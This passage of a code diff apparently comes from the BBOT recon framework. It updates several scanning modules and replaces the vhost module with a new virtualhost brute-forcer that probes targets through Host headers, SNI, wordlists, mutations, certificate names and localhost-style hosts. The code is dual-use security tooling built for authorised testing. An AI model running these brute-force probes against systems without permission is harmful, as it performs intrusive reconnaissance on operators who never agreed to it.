-            finding_type = "VULNERABILITY" if verified else "FINDING"
+            confidence = "CONFIRMED" if verified else "MEDIUM"
             data = {
+                "name": f"TruffleHog - {detector_name}",
                 "description": f"{verified_str} Secret Found. Detector Type: [{detector_name}] Decoder Type: [{decoder_name}] Details: [{source_metadata}]",
             }
             if host:
                 data["host"] = host
-            if finding_type == "VULNERABILITY":
-                data["severity"] = "High"
+
+            data["severity"] = "HIGH"
+            data["confidence"] = confidence
             if description:
                 data["description"] += f" Description: [{description}]"
             data["description"] += f" Raw result: [{raw_result}]"
@@ -138,7 +137,7 @@ async def handle_event(self, event):
                 data["description"] += f" RawV2 result: [{rawv2_result}]"
             await self.emit_event(
                 data,
-                finding_type,
+                "FINDING",
                 event,
                 context=f'{{module}} searched {event.type} using "{module}" method and found {verified_str.lower()} secret ({{event.type}}): {raw_result}',
             )
diff --git a/bbot/modules/url_manipulation.py b/bbot/modules/url_manipulation.py
index c36b7c39d5..b0e8c85859 100644
--- a/bbot/modules/url_manipulation.py
+++ b/bbot/modules/url_manipulation.py
@@ -1,11 +1,12 @@
 from bbot.errors import HttpCompareError
 from bbot.modules.base import BaseModule
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class url_manipulation(BaseModule):
     watched_events = ["URL"]
     produced_events = ["FINDING"]
-    flags = ["active", "aggressive", "web-thorough"]
+    flags = ["active", "loud", "web-heavy"]
     meta = {
         "description": "Attempt to identify URL parsing/routing based vulnerabilities",
         "created_date": "2022-09-27",
@@ -13,10 +14,11 @@ class url_manipulation(BaseModule):
     }
     in_scope_only = True
 
-    options = {"allow_redirects": True}
-    options_desc = {
-        "allow_redirects": "Allowing redirects will sometimes create false positives. Disallowing will sometimes create false negatives. Allowed by default."
-    }
+    class Config(BaseModuleConfig):
+        allow_redirects: bool = Field(
+            True,
+            description="Allowing redirects will sometimes create false positives. Disallowing will sometimes create false negatives. Allowed by default.",
+        )
 
     async def setup(self):
         # ([string]method,[string]path,[bool]strip trailing slash)
@@ -45,17 +47,17 @@ async def setup(self):
     async def handle_event(self, event):
         try:
             compare_helper = self.helpers.http_compare(
-                event.data, allow_redirects=self.allow_redirects, include_cache_buster=False
+                event.url, allow_redirects=self.allow_redirects, include_cache_buster=False
             )
         except HttpCompareError as e:
             self.debug(e)
             return
 
         try:
-            if not await compare_helper.canary_check(event.data, mode="getparam"):
+            if not await compare_helper.canary_check(event.url, mode="getparam"):
                 raise HttpCompareError()
         except HttpCompareError:
-            self.verbose(f'Aborting "{event.data}" due to failed canary check')
+            self.verbose(f'Aborting "{event.url}" due to failed canary check')
             return
 
         for sig in self.signatures:
@@ -65,10 +67,10 @@ async def handle_event(self, event):
                     sig[1], method=sig[0], allow_redirects=self.allow_redirects
                 )
             except HttpCompareError as e:
-                self.debug(f"Encountered HttpCompareError: [{e}] for URL [{event.data}]")
+                self.debug(f"Encountered HttpCompareError: [{e}] for URL [{event.url}]")
 
             if subject_response:
-                subject_content = "".join([str(x) for x in subject_response.headers])
+                subject_content = subject_response.raw_headers
                 if subject_response.text is not None:
                     subject_content += subject_response.text
 
@@ -77,12 +79,19 @@ async def handle_event(self, event):
                         if str(subject_response.status_code).startswith("2"):
                             if "body" in reasons:
                                 reported_signature = f"Modified URL: {sig[1]}"
-                                description = f"Url Manipulation: [{','.join(reasons)}] Sig: [{reported_signature}]"
+                                description = f"URL Manipulation: [{','.join(reasons)}] Sig: [{reported_signature}]"
                                 await self.emit_event(
-                                    {"description": description, "host": str(event.host), "url": event.data},
+                                    {
+                                        "description": description,
+                                        "host": str(event.host),
+                                        "url": event.url,
+                                        "name": "URL Manipulation",
+                                        "severity": "INFO",
+                                        "confidence": "LOW",
+                                    },
                                     "FINDING",
                                     parent=event,
-                                    context=f"{{module}} probed {event.data} and identified {{event.type}}: {description}",
+                                    context=f"{{module}} probed {event.url} and identified {{event.type}}: {description}",
                                 )
                         else:
                             self.debug(f"Status code changed to {str(subject_response.status_code)}, ignoring")
diff --git a/bbot/modules/urlscan.py b/bbot/modules/urlscan.py
index 5c7c78f478..b49870e7f6 100644
--- a/bbot/modules/urlscan.py
+++ b/bbot/modules/urlscan.py
@@ -1,8 +1,9 @@
 from bbot.modules.templates.subdomain_enum import subdomain_enum
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class urlscan(subdomain_enum):
-    flags = ["subdomain-enum", "passive", "safe"]
+    flags = ["safe", "subdomain-enum", "passive"]
     watched_events = ["DNS_NAME"]
     produced_events = ["DNS_NAME", "URL_UNVERIFIED"]
     meta = {
@@ -10,8 +11,9 @@ class urlscan(subdomain_enum):
         "created_date": "2022-06-09",
         "author": "@TheTechromancer",
     }
-    options = {"urls": False}
-    options_desc = {"urls": "Emit URLs in addition to DNS_NAMEs"}
+
+    class Config(BaseModuleConfig):
+        urls: bool = Field(False, description="Emit URLs in addition to DNS_NAMEs")
 
     base_url = "https://urlscan.io/api/v1"
 
@@ -30,7 +32,7 @@ async def handle_event(self, event):
                         await self.emit_event(
                             domain_event,
                             abort_if=self.abort_if,
-                            context=f'{{module}} searched urlscan.io API for "{query}" and found {{event.type}}: {{event.data}}',
+                            context=f'{{module}} searched urlscan.io API for "{query}" and found {{event.type}}: {{event.pretty_string}}',
                         )
                         parent_event = domain_event
             if url:
@@ -41,7 +43,7 @@ async def handle_event(self, event):
                             await self.emit_event(
                                 url_event,
                                 abort_if=self.abort_if,
-                                context=f'{{module}} searched urlscan.io API for "{query}" and found {{event.type}}: {{event.data}}',
+                                context=f'{{module}} searched urlscan.io API for "{query}" and found {{event.type}}: {{event.pretty_string}}',
                             )
                         else:
                             await self.emit_event(
@@ -49,7 +51,7 @@ async def handle_event(self, event):
                                 "DNS_NAME",
                                 parent=event,
                                 abort_if=self.abort_if,
-                                context=f'{{module}} searched urlscan.io API for "{query}" and found {{event.type}}: {{event.data}}',
+                                context=f'{{module}} searched urlscan.io API for "{query}" and found {{event.type}}: {{event.pretty_string}}',
                             )
                     else:
                         self.debug(f"{url_event.host} does not match {query}")
diff --git a/bbot/modules/vhost.py b/bbot/modules/vhost.py
deleted file mode 100644
index 0c8759f097..0000000000
--- a/bbot/modules/vhost.py
+++ /dev/null
@@ -1,129 +0,0 @@
-import base64
-from urllib.parse import urlparse
-
-from bbot.modules.ffuf import ffuf
-
-
-class vhost(ffuf):
-    watched_events = ["URL"]
-    produced_events = ["VHOST", "DNS_NAME"]
-    flags = ["active", "aggressive", "slow", "deadly"]
-    meta = {"description": "Fuzz for virtual hosts", "created_date": "2022-05-02", "author": "@liquidsec"}
-
-    special_vhost_list = ["127.0.0.1", "localhost", "host.docker.internal"]
-    options = {
-        "wordlist": "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt",
-        "force_basehost": "",
-        "lines": 5000,
-    }
-    options_desc = {
-        "wordlist": "Wordlist containing subdomains",
-        "force_basehost": "Use a custom base host (e.g. evilcorp.com) instead of the default behavior of using the current URL",
-        "lines": "take only the first N lines from the wordlist when finding directories",
-    }
-
-    deps_common = ["ffuf"]
-    banned_characters = {" ", "."}
-
-    in_scope_only = True
-
-    async def setup(self):
-        self.scanned_hosts = {}
-        self.wordcloud_tried_hosts = set()
-        return await super().setup()
-
-    async def handle_event(self, event):
-        if not self.helpers.is_ip(event.host) or self.config.get("force_basehost"):
-            host = f"{event.parsed_url.scheme}://{event.parsed_url.netloc}"
-            if host in self.scanned_hosts.keys():
-                return
-            else:
-                self.scanned_hosts[host] = event
-
-            # subdomain vhost check
-            self.verbose("Main vhost bruteforce")
-            if self.config.get("force_basehost"):
-                basehost = self.config.get("force_basehost")
-            else:
-                basehost = self.helpers.parent_domain(event.parsed_url.netloc)
-
-            self.debug(f"Using basehost: {basehost}")
-            async for vhost in self.ffuf_vhost(host, f".{basehost}", event):
-                self.verbose(f"Starting mutations check for {vhost}")
-                async for vhost in self.ffuf_vhost(host, f".{basehost}", event, wordlist=self.mutations_check(vhost)):
-                    pass
-
-            # check existing host for mutations
-            self.verbose("Checking for vhost mutations on main host")
-            async for vhost in self.ffuf_vhost(
-                host, f".{basehost}", event, wordlist=self.mutations_check(event.parsed_url.netloc.split(".")[0])
-            ):
-                pass
-
-            # special vhost list
-            self.verbose("Checking special vhost list")
-            async for vhost in self.ffuf_vhost(
-                host,
-                "",
-                event,
-                wordlist=self.helpers.tempfile(self.special_vhost_list, pipe=False),
-                skip_dns_host=True,
-            ):
-                pass
-
-    async def ffuf_vhost(self, host, basehost, event, wordlist=None, skip_dns_host=False):
-        filters = await self.baseline_ffuf(f"{host}/", exts=[""], suffix=basehost, mode="hostheader")
-        self.debug("Baseline completed and returned these filters:")
-        self.debug(filters)
-        if not wordlist:
-            wordlist = self.tempfile
-        async for r in self.execute_ffuf(
-            wordlist, host, exts=[""], suffix=basehost, filters=filters, mode="hostheader"
-        ):
-            found_vhost_b64 = r["input"]["FUZZ"]
-            vhost_str = base64.b64decode(found_vhost_b64).decode()
-            vhost_dict = {"host": str(event.host), "url": host, "vhost": vhost_str}
-            if f"{vhost_dict['vhost']}{basehost}" != event.parsed_url.netloc:
-                await self.emit_event(
-                    vhost_dict,
-                    "VHOST",
-                    parent=event,
-                    context=f"{{module}} brute-forced virtual hosts for {event.data} and found {{event.type}}: {vhost_str}",
-                )
-                if skip_dns_host is False:
-                    await self.emit_event(
-                        f"{vhost_dict['vhost']}{basehost}",
-                        "DNS_NAME",
-                        parent=event,
-                        tags=["vhost"],
-                        context=f"{{module}} brute-forced virtual hosts for {event.data} and found {{event.type}}: {{event.data}}",
-                    )
-
-                yield vhost_dict["vhost"]
-
-    def mutations_check(self, vhost):
-        mutations_list = []
-        for mutation in self.helpers.word_cloud.mutations(vhost):
-            for i in ["", "-"]:
-                mutations_list.append(i.join(mutation))
-        mutations_list_file = self.helpers.tempfile(mutations_list, pipe=False)
-        return mutations_list_file
-
-    async def finish(self):
-        # check existing hosts with wordcloud
-        tempfile = self.helpers.tempfile(list(self.helpers.word_cloud.keys()), pipe=False)
-
-        for host, event in self.scanned_hosts.items():
-            if host not in self.wordcloud_tried_hosts:
-                event.parsed_url = urlparse(host)
-
-                self.verbose("Checking main host with wordcloud")
-                if self.config.get("force_basehost"):
-                    basehost = self.config.get("force_basehost")
-                else:
-                    basehost = self.helpers.parent_domain(event.parsed_url.netloc)
-
-                async for vhost in self.ffuf_vhost(host, f".{basehost}", event, wordlist=tempfile):
-                    pass
-
-                self.wordcloud_tried_hosts.add(host)
diff --git a/bbot/modules/viewdns.py b/bbot/modules/viewdns.py
index 7a60b721ba..89466ffea3 100644
--- a/bbot/modules/viewdns.py
+++ b/bbot/modules/viewdns.py
@@ -10,7 +10,7 @@ class viewdns(BaseModule):
 
     watched_events = ["DNS_NAME"]
     produced_events = ["DNS_NAME"]
-    flags = ["affiliates", "passive", "safe"]
+    flags = ["safe", "affiliates", "passive"]
     meta = {
         "description": "Query viewdns.info's reverse whois for related domains",
         "created_date": "2022-07-04",
@@ -33,7 +33,7 @@ async def handle_event(self, event):
                 "DNS_NAME",
                 parent=event,
                 tags=["affiliate"],
-                context=f'{{module}} searched viewdns.info for "{query}" and found {{event.type}}: {{event.data}}',
+                context=f'{{module}} searched viewdns.info for "{query}" and found {{event.type}}: {{event.pretty_string}}',
             )
 
     async def query(self, query):
diff --git a/bbot/modules/virtualhost.py b/bbot/modules/virtualhost.py
new file mode 100644
index 0000000000..775dd1107c
--- /dev/null
+++ b/bbot/modules/virtualhost.py
@@ -0,0 +1,1025 @@
+from urllib.parse import urlparse
+import random
+import string
+
+from bbot.modules.base import BaseModule
+from bbot.core.config.models import BaseModuleConfig, Field
+from bbot.core.helpers.simhash import compute_simhash
+
+
+class virtualhost(BaseModule):
+    watched_events = ["URL"]
+    produced_events = ["VIRTUAL_HOST", "DNS_NAME_UNVERIFIED", "HTTP_RESPONSE"]
+    flags = ["active", "loud", "slow"]
+    meta = {"description": "Fuzz for virtual hosts", "created_date": "2022-05-02", "author": "@liquidsec"}
+
+    SIMILARITY_THRESHOLD = 0.8
+    CANARY_LENGTH = 12
+    MAX_RESULTS_FLOOD_PROTECTION = 50
+
+    special_virtualhost_list = ["127.0.0.1", "localhost", "host.docker.internal"]
+
+    class Config(BaseModuleConfig):
+        brute_wordlist: str = Field(
+            "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt",
+            description="Wordlist containing subdomains",
+        )
+        force_basehost: str = Field(
+            "",
+            description="Use a custom base host (e.g. evilcorp.com) instead of the default behavior of using the current URL",
+        )
+        brute_lines: int = Field(
+            2000, description="Take only the first N lines from the wordlist when finding directories"
+        )
+        subdomain_brute: bool = Field(True, description="Enable subdomain brute-force on target host")
+        mutation_check: bool = Field(True, description="Enable trying mutations of the target host")
+        special_hosts: bool = Field(False, description="Enable testing of special virtual host list (localhost, etc.)")
+        certificate_sans: bool = Field(
+            False, description="Enable extraction and testing of Subject Alternative Names from certificates"
+        )
+        max_concurrent_requests: int = Field(80, description="Maximum number of concurrent virtual host requests")
+        require_inaccessible: bool = Field(
+            True,
+            description="Only test virtual hosts that are not directly accessible (for discovering hidden content)",
+        )
+        wordcloud_check: bool = Field(False, description="Enable check using scan-wide wordcloud data on target host")
+        report_interesting_default_content: bool = Field(True, description="Report interesting default content")
+
+    in_scope_only = True
+
+    virtualhost_ignore_strings = [
+        "We weren't able to find your Azure Front Door Service",
+        "The http request header is incorrect.",
+    ]
+
+    async def setup(self):
+        self.max_concurrent = self.config.get("max_concurrent_requests", 80)
+        self.scanned_hosts = {}
+        self.wordcloud_tried_hosts = set()
+        self.brute_wordlist = await self.helpers.wordlist(
+            self.config.get("brute_wordlist"), lines=self.config.get("brute_lines", 2000)
+        )
+        self.similarity_cache = {}  # Cache for similarity results
+
+        self.waf_strings = self.helpers.get_waf_strings() + self.virtualhost_ignore_strings
+
+        return True
+
+    async def _response_similarity(self, text_a, text_b, normalization_filter=None):
+        """
+        Compute simhash similarity between two response bodies.
+        Runs in the CPU thread pool: simhash work is short and the input is
+        truncated to ~3KB inside compute_simhash, so the process-pool overhead
+        (pickle + IPC + worker lifecycle) costs more than the work itself.
+        """
+        kwargs = {}
+        if normalization_filter is not None:
+            kwargs["normalization_filter"] = normalization_filter
+        hash_a = await self.helpers.run_in_executor_cpu(compute_simhash, text_a, **kwargs)
+        hash_b = await self.helpers.run_in_executor_cpu(compute_simhash, text_b, **kwargs)
+        return self.helpers.simhash.similarity(hash_a, hash_b)
+
+    def _get_basehost(self, event):
+        """Get the basehost and subdomain from the event"""
+        basehost = self.helpers.parent_domain(event.parsed_url.hostname)
+        if not basehost:
+            raise ValueError(f"No parent domain found for {event.parsed_url.hostname}")
+        subdomain = event.parsed_url.hostname.removesuffix(basehost).rstrip(".")
+        return basehost, subdomain
+
+    async def _get_baseline_response(self, event, normalized_url, host_ip):
+        """Get baseline response for a host using the appropriate method (HTTPS SNI or HTTP Host header)"""
+        is_https = event.parsed_url.scheme == "https"
+        host = event.parsed_url.netloc
+
+        if is_https:
+            port = event.parsed_url.port or 443
+            baseline_response = await self.helpers.request(
+                url=f"https://{host}:{port}/",
+                resolve_ip=host_ip,
+            )
+        else:
+            baseline_response = await self.helpers.request(
+                url=normalized_url,
+                headers={"Host": host},
+                resolve_ip=host_ip,
+            )
+
+        return baseline_response
+
+    async def handle_event(self, event):
+        if not self.helpers.is_ip(event.host) or self.config.get("force_basehost"):
+            scheme = event.parsed_url.scheme
+            host = event.parsed_url.netloc
+            normalized_url = f"{scheme}://{host}"
+
+            # since we normalize the URL to the host level,
+            if normalized_url in self.scanned_hosts:
+                return
+
+            self.scanned_hosts[normalized_url] = event
+
+            if self.config.get("force_basehost"):
+                basehost = self.config.get("force_basehost")
+                subdomain = ""
+            else:
+                basehost, subdomain = self._get_basehost(event)
+
+            is_https = event.parsed_url.scheme == "https"
+
+            if not event.resolved_hosts:
+                self.debug(f"HANDLE EVENT METHOD: No resolved hosts for {normalized_url}, skipping virtual host check")
+                return None
+
+            # resolved_hosts can contain CNAME targets (hostnames) alongside A/AAAA records;
+            # we need a real IP to pin the TCP connection via blasthttp's resolve_ip.
+            ip_candidates = [str(h) for h in event.resolved_hosts if self.helpers.is_ip(h)]
+            if not ip_candidates:
+                self.debug(
+                    f"HANDLE EVENT METHOD: resolved_hosts for {normalized_url} contains no IPs (only CNAMEs?), skipping virtual host check"
+                )
+                return None
+            host_ip = ip_candidates[0]
+
+            baseline_response = await self._get_baseline_response(event, normalized_url, host_ip)
+            if not baseline_response:
+                self.warning(f"Failed to get baseline response for {normalized_url}")
+                return None
+
+            if not await self._wildcard_canary_check(scheme, host, event, host_ip, baseline_response):
+                self.verbose(
+                    f"WILDCARD CHECK FAILED in handle_event: Skipping {normalized_url} - failed virtual host wildcard check"
+                )
+                return None
+            else:
+                self.verbose(f"WILDCARD CHECK PASSED in handle_event: Proceeding with {normalized_url}")
+
+            # Phase 1: Main virtual host bruteforce
+            if self.config.get("subdomain_brute", True):
+                self.verbose(f"=== Starting subdomain brute-force on {normalized_url} ===")
+                await self._run_virtualhost_phase(
+                    "Target host Subdomain Brute-force",
+                    normalized_url,
+                    basehost,
+                    host_ip,
+                    is_https,
+                    event,
+                    "subdomain",
+                )
+
+            # only run mutations if there is an actual subdomain (to mutate)
+            if subdomain:
+                # Phase 2: Check existing host for mutations
+                if self.config.get("mutation_check", True):
+                    self.verbose(f"=== Starting mutations check on {normalized_url} ===")
+                    await self._run_virtualhost_phase(
+                        "Mutations on target host",
+                        normalized_url,
+                        basehost,
+                        host_ip,
+                        is_https,
+                        event,
+                        "mutation",
+                        wordlist=self.mutations_check(subdomain),
+                    )
+
+            # Phase 3: Special virtual host list
+            if self.config.get("special_hosts", False):
+                self.verbose(f"=== Starting special virtual hosts check on {normalized_url} ===")
+                await self._run_virtualhost_phase(
+                    "Special virtual host list",
+                    normalized_url,
+                    "",
+                    host_ip,
+                    is_https,
+                    event,
+                    "random",
+                    wordlist=self.helpers.tempfile(self.special_virtualhost_list, pipe=False),
+                    skip_dns_host=True,
+                )
+
+            # Phase 4: Obtain subject alternate names from certicate and analyze them
+            if self.config.get("certificate_sans", False):
+                self.verbose(f"=== Starting certificate SAN analysis on {normalized_url} ===")
+                if is_https:
+                    subject_alternate_names = await self._analyze_subject_alternate_names(normalized_url)
+                    if subject_alternate_names:
+                        self.debug(
+                            f"Found {len(subject_alternate_names)} Subject Alternative Names from certificate: {subject_alternate_names}"
+                        )
+
+                        # Use SANs as potential virtual hosts for testing
+                        san_wordlist = self.helpers.tempfile(subject_alternate_names, pipe=False)
+                        await self._run_virtualhost_phase(
+                            "Certificate Subject Alternate Name",
+                            normalized_url,
+                            "",
+                            host_ip,
+                            is_https,
+                            event,
+                            "random",
+                            wordlist=san_wordlist,
+                            skip_dns_host=True,
+                        )
+
+    async def _analyze_subject_alternate_names(self, url):
+        """Analyze subject alternate names from certificate via blasthttp cert_info"""
+        parsed = urlparse(url)
+        host = parsed.netloc
+
+        response = await self.helpers.request(url=url)
+        if not response or not response.cert_info:
+            self.debug(f"No certificate data available for {url}")
+            return []
+
+        subject_alt_names = []
+        try:
+            for san in response.cert_info.sans:
+                self.debug(f"Found SAN: {san}")
+                if san != host and san not in subject_alt_names:
+                    subject_alt_names.append(san)
+        except Exception as e:
+            self.warning(f"Error parsing certificate for {url}: {e}")
+
+        self.debug(
+            f"Found {len(subject_alt_names)} Subject Alternative Names: {subject_alt_names} (besides original target host {host})"
+        )
+        return subject_alt_names
+
+    async def _report_interesting_default_content(self, event, canary_hostname, host_ip, canary_response):
+        discovery_method = "Interesting Default Content (from intentionally-incorrect canary host)"
+        # Build URL with explicit authority to avoid double-port issues
+        authority = (
+            f"{event.parsed_url.hostname}:{event.parsed_url.port}"
+            if event.parsed_url.port is not None
+            else event.parsed_url.hostname
+        )
+        # Use the explicit canary hostname used in the wildcard request (works for HTTP Host and HTTPS SNI)
+        canary_host = (canary_hostname or "").split(":")[0]
+        # peer_ip is the actual TCP peer the response came from — ground truth, not a
+        # guess from resolved_hosts. Falls back to the pinned host_ip if peer_ip is empty.
+        response_ip = getattr(canary_response, "peer_ip", None) or host_ip
+        virtualhost_dict = {
+            "host": str(event.host),
+            "url": f"{event.parsed_url.scheme}://{authority}/",
+            "virtual_host": canary_host,
+            "description": self._build_description(discovery_method, canary_response, True, response_ip),
+            "ip": response_ip,
+        }
+
+        await self.emit_event(
+            virtualhost_dict,
+            "VIRTUAL_HOST",
+            parent=event,
+            tags=["virtual-host"],
+            context=f"{{module}} discovered virtual host via {discovery_method} for {event.url} and found {{event.type}}: {canary_host}",
+        )
+
+        # Emit HTTP_RESPONSE event with the canary response data
+        headers = dict(canary_response.headers) if canary_response.headers else {}
+
+        # Get the scheme from the actual probe URL
+        probe_url = str(canary_response.url) if canary_response.url else ""
+        parsed_probe_url = urlparse(probe_url)
+        actual_scheme = parsed_probe_url.scheme if parsed_probe_url.scheme else "http"
+
+        body = canary_response.text or ""
+        http_response_data = {
+            "input": canary_host,
+            "url": f"{actual_scheme}://{canary_host}/",
+            "method": "GET",
+            "status_code": canary_response.status_code,
+            "content_length": len(body),
+            "body": body,
+            "header": headers,
+            "raw_header": "",
+        }
+
+        # Include location header for redirect handling
+        location = headers.get("location", "")
+        if location:
+            http_response_data["location"] = location
+
+        http_response_event = await self.emit_event(
+            http_response_data,
+            "HTTP_RESPONSE",
+            parent=event,
+            tags=["virtual-host"],
+            context=f"{{module}} discovered virtual host via {discovery_method} for {event.url} and found {{event.type}}: {canary_host}",
+        )
+        # Set scope distance to match parent's scope distance for HTTP_RESPONSE events
+        if http_response_event:
+            http_response_event.scope_distance = event.scope_distance
+
+    def _get_canary_random_host(self, host, basehost, mode="subdomain"):
+        """Generate a random host for the canary"""
+        rng = random.Random(host)
+
+        if mode == "mutation":
+            random_prefix = "".join(rng.choice(string.ascii_lowercase) for i in range(4))
+            canary_host = f"{random_prefix}-{host}"
+        elif mode == "subdomain":
+            canary_host = "".join(rng.choice(string.ascii_lowercase) for i in range(self.CANARY_LENGTH)) + basehost
+        elif mode == "random_append":
+            random_suffix = "".join(rng.choice(string.ascii_lowercase) for i in range(4))
+            canary_host = f"{host.split('.')[0]}{random_suffix}.{'.'.join(host.split('.')[1:])}"
+        elif mode == "random":
+            random_host = "".join(rng.choice(string.ascii_lowercase) for i in range(self.CANARY_LENGTH))
+            canary_host = f"{random_host}.com"
+        else:
+            raise ValueError(f"Invalid canary mode: {mode}")
+
+        return canary_host
+
+    async def _get_canary_response(self, normalized_url, basehost, host_ip, is_https, mode="subdomain"):
+        """Setup canary response for comparison using the appropriate technique. Returns canary response or None on failure."""
+
+        parsed = urlparse(normalized_url)
+        # Use hostname without port to avoid duplicating port in canary host
+        host = parsed.hostname or (parsed.netloc.split(":")[0] if ":" in parsed.netloc else parsed.netloc)
+
+        # Seed RNG with domain to get consistent canary hosts for same domain
+        canary_host = self._get_canary_random_host(host, basehost, mode)
+
+        # Get canary response
+        if is_https:
+            port = parsed.port or 443
+            canary_response = await self.helpers.request(
+                url=f"https://{canary_host}:{port}/",
+                resolve_ip=host_ip,
+            )
+        else:
+            canary_response = await self.helpers.request(
+                url=normalized_url,
+                headers={"Host": canary_host},
+                resolve_ip=host_ip,
+            )
+
+        return canary_response
+
+    async def _is_host_accessible(self, url):
+        """
+        Check if a URL is already accessible via direct HTTP request.
+        Returns True if the host is accessible (and should be skipped), False otherwise.
+        """
+        response = await self.helpers.request(url=url)
+        if response and response.status_code > 0:
+            return True
+        return False
+
+    async def _wildcard_canary_check(self, probe_scheme, probe_host, event, host_ip, probe_response):
+        """Change one char in probe_host and test - if responses are similar, it's probably a wildcard"""
+
+        # Extract hostname and port separately to avoid corrupting the port portion
+        original_hostname = event.parsed_url.hostname or ""
+        original_port = event.parsed_url.port
+
+        # Try to mutate the first alphabetic character in the hostname
+        modified_hostname = None
+        for i, char in enumerate(original_hostname):
+            if char.isalpha():
+                new_char = "z" if char != "z" else "a"
+                modified_hostname = original_hostname[:i] + new_char + original_hostname[i + 1 :]
+                break
+
+        if modified_hostname is None:
+            # Fallback: generate random hostname of similar length (hostname-only)
+            modified_hostname = "".join(
+                random.choice(string.ascii_lowercase) for _ in range(len(original_hostname) or 12)
+            )
+
+        # Build modified host strings for each protocol
+        https_modified_host_for_sni = modified_hostname
+        http_modified_host_for_header = f"{modified_hostname}:{original_port}" if original_port else modified_hostname
+
+        # Test modified host
+        if probe_scheme == "https":
+            port = event.parsed_url.port or 443
+            # Log the canary URL for the wildcard SNI test
+            self.debug(
+                f"CANARY URL: https://{https_modified_host_for_sni}:{port}/ [phase=wildcard-check, mode=single-char-mutation]"
+            )
+            wildcard_canary_response = await self.helpers.request(
+                url=f"https://{https_modified_host_for_sni}:{port}/",
+                resolve_ip=host_ip,
+            )
+        else:
+            # Log the canary URL for the wildcard Host header test
+            http_port = event.parsed_url.port or 80
+            self.debug(
+                f"CANARY URL: {probe_scheme}://{http_modified_host_for_header if ':' in http_modified_host_for_header else f'{http_modified_host_for_header}:{http_port}'}/ [phase=wildcard-check, mode=single-char-mutation]"
+            )
+            wildcard_canary_response = await self.helpers.request(
+                url=f"{probe_scheme}://{event.parsed_url.netloc}/",
+                headers={"Host": http_modified_host_for_header},
+                resolve_ip=host_ip,
+            )
+
+        if not wildcard_canary_response or wildcard_canary_response.status_code == 0:
+            self.debug(
+                f"Wildcard check: {http_modified_host_for_header} failed to respond, assuming {probe_host} is valid"
+            )
+            return True  # Modified failed, original probably valid
+
+        # If HTTP status codes differ, consider this a pass (not wildcard)
+        if probe_response.status_code != wildcard_canary_response.status_code:
+            self.debug(
+                f"WILDCARD CHECK OK (status mismatch): {probe_host} ({probe_response.status_code}) vs {http_modified_host_for_header} ({wildcard_canary_response.status_code})"
+            )
+            if (
+                self.config.get("report_interesting_default_content", True)
+                and wildcard_canary_response.status_code == 200
+                and len(wildcard_canary_response.text or "") > 40
+            ):
+                canary_hostname = (
+                    https_modified_host_for_sni if probe_scheme == "https" else http_modified_host_for_header
+                )
+                await self._report_interesting_default_content(
+                    event, canary_hostname, host_ip, wildcard_canary_response
+                )
+            return True
+
+        similarity = await self._response_similarity(probe_response.text or "", wildcard_canary_response.text or "")
+
+        # Compare original probe response with modified response
+
+        result = similarity <= self.SIMILARITY_THRESHOLD
+
+        if not result:
+            self.debug(
+                f"WILDCARD DETECTED: {probe_host} vs {http_modified_host_for_header} similarity: {similarity:.3f} (threshold: {self.SIMILARITY_THRESHOLD}) -> FAIL (wildcard detected)"
+            )
+        else:
+            self.debug(
+                f"WILDCARD CHECK OK: {probe_host} vs {http_modified_host_for_header} similarity: {similarity:.3f} (threshold: {self.SIMILARITY_THRESHOLD}) -> PASS (not wildcard)"
+            )
+            if (
+                self.config.get("report_interesting_default_content", True)
+                and wildcard_canary_response.status_code == 200
+                and len(wildcard_canary_response.text or "") > 40
+            ):
+                canary_hostname = (
+                    https_modified_host_for_sni if probe_scheme == "https" else http_modified_host_for_header
+                )
+                await self._report_interesting_default_content(
+                    event, canary_hostname, host_ip, wildcard_canary_response
+                )
+
+        return result  # True if they're different (good), False if similar (wildcard)
+
+    async def _run_virtualhost_phase(
+        self,
+        discovery_method,
+        normalized_url,
+        basehost,
+        host_ip,
+        is_https,
+        event,
+        canary_mode,
+        wordlist=None,
+        skip_dns_host=False,
+    ):
+        """Helper method to run a virtual host discovery phase and optionally mutations"""
+
+        canary_response = await self._get_canary_response(
+            normalized_url, basehost, host_ip, is_https, mode=canary_mode
+        )
+
+        if not canary_response:
+            self.debug(f"Failed to get canary response for {normalized_url}, skipping virtual host detection")
+            return []
+
+        results = await self._test_virtualhost_candidates(
+            discovery_method,
+            normalized_url,
+            basehost,
+            event,
+            canary_response,
+            canary_mode,
+            wordlist,
+            skip_dns_host,
+        )
+
+        # Emit all valid results
+        for virtual_host_data in results:
+            # Emit VIRTUAL_HOST event
+            await self.emit_event(
+                virtual_host_data["virtualhost_dict"],
+                "VIRTUAL_HOST",
+                parent=event,
+                tags=["virtual-host"],
+                context=f"{{module}} discovered virtual host via {virtual_host_data['discovery_method']} for {event.url} and found {{event.type}}: {virtual_host_data['probe_host']} (similarity: {virtual_host_data['similarity']:.2%})",
+            )
+
+            # Emit HTTP_RESPONSE event with the probe response data
+            probe_resp = virtual_host_data["probe_response"]
+            headers = dict(probe_resp.headers) if probe_resp.headers else {}
+
+            # Get the scheme from the actual probe URL
+            probe_url = str(probe_resp.url) if probe_resp.url else ""
+            parsed_probe_url = urlparse(probe_url)
+            actual_scheme = parsed_probe_url.scheme if parsed_probe_url.scheme else "http"
+
+            body = probe_resp.text or ""
+            http_response_data = {
+                "input": virtual_host_data["probe_host"],
+                "url": f"{actual_scheme}://{virtual_host_data['probe_host']}/",
+                "method": "GET",
+                "status_code": probe_resp.status_code,
+                "content_length": len(body),
+                "body": body,
+                "header": headers,
+                "raw_header": "",
+            }
+
+            # Include location header for redirect handling
+            location = headers.get("location", "")
+            if location:
+                http_response_data["location"] = location
+
+            http_response_event = await self.emit_event(
+                http_response_data,
+                "HTTP_RESPONSE",
+                parent=event,
+                tags=["virtual-host"],
+                context=f"{{module}} discovered virtual host via {virtual_host_data['discovery_method']} for {event.url} and found {{event.type}}: {virtual_host_data['probe_host']}",
+            )
+            # Set scope distance to match parent's scope distance for HTTP_RESPONSE events
+            if http_response_event:
+                http_response_event.scope_distance = event.scope_distance
+
+            # Emit DNS_NAME_UNVERIFIED event if needed
+            if virtual_host_data["skip_dns_host"] is False:
+                await self.emit_event(
+                    virtual_host_data["virtualhost_dict"]["virtual_host"],
+                    "DNS_NAME_UNVERIFIED",
+                    parent=event,
+                    tags=["virtual-host"],
